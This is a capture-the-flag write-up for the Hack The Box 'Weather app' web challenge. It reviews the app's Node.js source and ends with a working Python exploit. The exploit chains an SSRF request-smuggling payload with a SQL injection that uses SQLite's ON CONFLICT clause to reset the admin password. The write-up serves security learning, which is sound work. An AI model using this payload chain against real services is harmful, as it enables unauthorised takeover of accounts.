Weather app

A pit of eternal darkness, a mindless journey of abeyance, this feels like a never-ending dream. I think I'm hallucinating with the memories of my past life, it's a reflection of how thought I would have turned out if I had tried enough. A weatherman, I said! Someone my community would look up to, someone who is to be respected. I guess this is my way of telling you that I've been waiting for someone to come and save me. This weather application is notorious for trapping the souls of ambitious weathermen like me. Please defeat the evil bruxa that's operating this website and set me free! ๐Ÿง™โ€โ™€๏ธ

==> For this challenge we get a live instance as well as a bunch of files:

.
โ”œโ”€โ”€ Dockerfile
โ”œโ”€โ”€ build-docker.sh
โ”œโ”€โ”€ challenge
โ”‚ย ย  โ”œโ”€โ”€ database.js
โ”‚ย ย  โ”œโ”€โ”€ flag
โ”‚ย ย  โ”œโ”€โ”€ helpers
โ”‚ย ย  โ”‚ย ย  โ”œโ”€โ”€ HttpHelper.js
โ”‚ย ย  โ”‚ย ย  โ””โ”€โ”€ WeatherHelper.js
โ”‚ย ย  โ”œโ”€โ”€ index.js
โ”‚ย ย  โ”œโ”€โ”€ package-lock.json
โ”‚ย ย  โ”œโ”€โ”€ package.json
โ”‚ย ย  โ”œโ”€โ”€ routes
โ”‚ย ย  โ”‚ย ย  โ””โ”€โ”€ index.js
โ”‚ย ย  โ”œโ”€โ”€ static
โ”‚ย ย  โ”‚ย ย  โ”œโ”€โ”€ css
โ”‚ย ย  โ”‚ย ย  โ”‚ย ย  โ””โ”€โ”€ main.css
โ”‚ย ย  โ”‚ย ย  โ”œโ”€โ”€ favicon.gif
โ”‚ย ย  โ”‚ย ย  โ”œโ”€โ”€ host-unreachable.jpg
โ”‚ย ย  โ”‚ย ย  โ”œโ”€โ”€ js
โ”‚ย ย  โ”‚ย ย  โ”‚ย ย  โ”œโ”€โ”€ koulis.js
โ”‚ย ย  โ”‚ย ย  โ”‚ย ย  โ””โ”€โ”€ main.js
โ”‚ย ย  โ”‚ย ย  โ”œโ”€โ”€ koulis.gif
โ”‚ย ย  โ”‚ย ย  โ””โ”€โ”€ weather.gif
โ”‚ย ย  โ”œโ”€โ”€ views
โ”‚ย ย  โ”‚ย ย  โ”œโ”€โ”€ index.html
โ”‚ย ย  โ”‚ย ย  โ”œโ”€โ”€ login.html
โ”‚ย ย  โ”‚ย ย  โ””โ”€โ”€ register.html
โ”‚ย ย  โ””โ”€โ”€ weather-app.db
โ””โ”€โ”€ config
    โ””โ”€โ”€ supervisord.conf

==> Going over to the website, we see it displays the weather for a specific city (Biennein that case) but there does not seem to be any way for us to interact with it. Checking out the source code we see this main.jsfile:

const weather = document.getElementById('weather');

const getWeather = async () => {

    let endpoint = 'api.openweathermap.org';

    let res  = await fetch('//ip-api.com/json/')
        .catch(() => {
            weather.innerHTML = `
                <img src='/static/host-unreachable.jpg'>
                <br><br>
                <h4>๐Ÿ‘จโ€๐Ÿ”ง Disable blocker addons</h2>
            `;
        });

    let data = await res.json();

    let { countryCode, city } = data;

    res = await fetch('/api/weather', {
        method: 'POST',
        body: JSON.stringify({
            endpoint: endpoint,
            city: city,
            country: countryCode,
        }),
        headers: {
            'Content-Type': 'application/json'
        }
    });
    
    data = await res.json();

    if (data.temp) {
        weather.innerHTML = `
            <div class='${data.icon}'></div>
            <h1>City: ${city}</h1>
            <h1>Temp: ${data.temp} C</h1>
            <h3>Status: ${data.desc}</h3>
        `;
    } else {
        weather.innerHTML = `
            <h3>${data.message}</h3>
        `;
    }
};

getWeather();
setInterval(getWeather, 60 * 60 * 1000);

and we discover the /api/weatherendpoint but nothing else that seems really interesting.

==> Looking for the flagkeyword in the entire directory, we find an occurrence in /routes/index.jsand can check it out:

const path              = require('path');
const fs                = require('fs');
const express           = require('express');
const router            = express.Router();
const WeatherHelper     = require('../helpers/WeatherHelper');

let db;

const response = data => ({ message: data });

router.get('/', (req, res) => {
        return res.sendFile(path.resolve('views/index.html'));
});

router.get('/register', (req, res) => {
        return res.sendFile(path.resolve('views/register.html'));
});

router.post('/register', (req, res) => {

        if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
                return res.status(401).end();
        }

        let { username, password } = req.body;

        if (username && password) {
                return db.register(username, password)
                        .then(()  => res.send(response('Successfully registered')))
                        .catch(() => res.send(response('Something went wrong')));
        }

        return res.send(response('Missing parameters'));
});

router.get('/login', (req, res) => {
        return res.sendFile(path.resolve('views/login.html'));
});

router.post('/login', (req, res) => {
        let { username, password } = req.body;

        if (username && password) {
                return db.isAdmin(username, password)
                        .then(admin => {
                                if (admin) return res.send(fs.readFileSync('/app/flag').toString());
                                return res.send(response('You are not admin'));
                        })
                        .catch(() => res.send(response('Something went wrong')));
        }

        return re.send(response('Missing parameters'));
});

router.post('/api/weather', (req, res) => {
        let { endpoint, city, country } = req.body;

        if (endpoint && city && country) {
                return WeatherHelper.getWeather(res, endpoint, city, country);
        }

        return res.send(response('Missing parameters'));
});

module.exports = database => { 
        db = database;
        return router;
};               

and so there is a /loginendpoint that we can immediately go to. Trying to login as admindoes not work for now so we can register a user first under the /registerendpoint but it does not seem to work as the requests need to be coming from localhost:

router.post('/register', (req, res) => {
	if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
			return res.status(401).end();
	}
	let { username, password } = req.body;
	if (username && password) {
			return db.register(username, password)
					.then(()  => res.send(response('Successfully registered')))
					.catch(() => res.send(response('Something went wrong')));
	}
	return res.send(response('Missing parameters'));
});

==> We can then check the database.jsfile and see what it contains:

const sqlite = require('sqlite-async');
const crypto = require('crypto');

class Database {
    constructor(db_file) {
        this.db_file = db_file;
        this.db = undefined;
    }
    
    async connect() {
        this.db = await sqlite.open(this.db_file);
    }

    async migrate() {
        return this.db.exec(`
            DROP TABLE IF EXISTS users;

            CREATE TABLE IF NOT EXISTS users (
                id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                username   VARCHAR(255) NOT NULL UNIQUE,
                password   VARCHAR(255) NOT NULL
            );

            INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32).toString('hex') }');
        `);
    }

    async register(user, pass) {
        // TODO: add parameterization and roll public
        return new Promise(async (resolve, reject) => {
            try {
                let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
                resolve((await this.db.run(query)));
            } catch(e) {
                reject(e);
            }
        });
    }

    async isAdmin(user, pass) {
        return new Promise(async (resolve, reject) => {
            try {
                let smt = await this.db.prepare('SELECT username FROM users WHERE username = ? and password = ?');
                let row = await smt.get(user, pass);
                resolve(row !== undefined ? row.username == 'admin' : false);
            } catch(e) {
                reject(e);
            }
        });
    }
}

module.exports = Database;

and so we see that it creates the adminwith a random password, has an isAdminfunction as well and a registerfunction that seems to be vulnerable to SQLias can also be seen with the comment:

async register(user, pass) {
	// TODO: add parameterization and roll public
	return new Promise(async (resolve, reject) => {
		try {
			let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
			resolve((await this.db.run(query)));
		} catch(e) {
			reject(e);
		}
	});
}

==> This could then be used to update the password with a payload such as:

123') ON CONFLICT(username) DO UPDATE SET password = 'admin';--

we then need to find a way to bypass this check in the index.jsfile:

router.post('/register', (req, res) => {
	if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
			return res.status(401).end();
	}
	let { username, password } = req.body;
	if (username && password) {
			return db.register(username, password)
					.then(()  => res.send(response('Successfully registered')))
					.catch(() => res.send(response('Something went wrong')));
	}
	return res.send(response('Missing parameters'));
});

==> From here we remember the /api/weather endpoint that allowed for POSTrequests and took endpointas a parameter:

let endpoint = 'api.openweathermap.org';

    let res  = await fetch('//ip-api.com/json/')
        .catch(() => {
            weather.innerHTML = `
                <img src='/static/host-unreachable.jpg'>
                <br><br>
                <h4>๐Ÿ‘จโ€๐Ÿ”ง Disable blocker addons</h2>
            `;
        });

    let data = await res.json();

    let { countryCode, city } = data;

    res = await fetch('/api/weather', {
        method: 'POST',
        body: JSON.stringify({
            endpoint: endpoint,
            city: city,
            country: countryCode,
        }),
        headers: {
            'Content-Type': 'application/json'
        }
    });

we can then look for a SSRFvulnerability in here, which we could use to exploit the SQLiidentified earlier. Checking the controller for this, we have:

router.post('/api/weather', (req, res) => {
        let { endpoint, city, country } = req.body;

        if (endpoint && city && country) {
                return WeatherHelper.getWeather(res, endpoint, city, country);
        }

        return res.send(response('Missing parameters'));
});

==> We see that the WeatherHelper.getWeather()function gets called –> we can have a look at it:

const HttpHelper = require('../helpers/HttpHelper');

module.exports = {
    async getWeather(res, endpoint, city, country) {

        // *.openweathermap.org is out of scope
        let apiKey = '10a62430af617a949055a46fa6dec32f';
        let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`); 
        
        if (weatherData.name) {
            let weatherDescription = weatherData.weather[0].description;
            let weatherIcon = weatherData.weather[0].icon.slice(0, -1);
            let weatherTemp = weatherData.main.temp;

            switch (parseInt(weatherIcon)) {
                case 2: case 3: case 4:
                    weatherIcon = 'icon-clouds';
                    break;
                case 9: case 10:
                    weatherIcon = 'icon-rain';
                    break;
                case 11:
                    weatherIcon = 'icon-storm';
                    break;
                case 13:
                    weatherIcon = 'icon-snow';
                    break;
                default:
                    weatherIcon = 'icon-sun';
                    break;
            }

            return res.send({
                desc: weatherDescription,
                icon: weatherIcon,
                temp: weatherTemp,
            });
        } 

        return res.send({
            error: `Could not find ${city} or ${country}`
        });
    }
} 

and so it uses the helper function HttpHelper.HttpGet()to send a GETrequest and retrieve parameters for this specific city.

==> Now that we have all of this, we can actually make a script to overwrite the admin’s password, using both the SQLipayload combined with the SSRFvulnerability in an encoded HTTP smuggling request :

import requests

url = "http://94.237.53.230:40051"

username="admin"

password="123') ON CONFLICT(username) DO UPDATE SET password = 'admin';--"
parsedUsername = username.replace(" ","\u0120").replace("'", "%27").replace('"', "%22")
parsedPassword = password.replace(" ","\u0120").replace("'", "%27").replace('"', "%22")
contentLength = len(parsedUsername) + len(parsedPassword) + 19
endpoint = '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120' + str (contentLength) + '\u010D\u010A\u010D\u010Ausername='+parsedUsername + '&password='+ parsedPassword + '\u010D\u010A\u010D\u010AGET\u0120/?lol='

city='test'

country='test'

json={'endpoint':endpoint,'city':city,'country':country}

res=requests.post(url=url+'/api/weather',json=json)

This will combine both the SQLithat we found earlier, by using the SQLite’s ON CONFLICTkeyword to change the admin password to adminand using SSRF-based request smuggling to send the request to the /registerendpoint.

(For this, we need the different special characters to be encoded such as spaces, newlines, … We then use these replacements: \u0120, %27, %22)

Once ran, we can simply login as admin:adminand we get the flag:

==> HTB{w3lc0m3_t0_th3_p1p3_dr34m}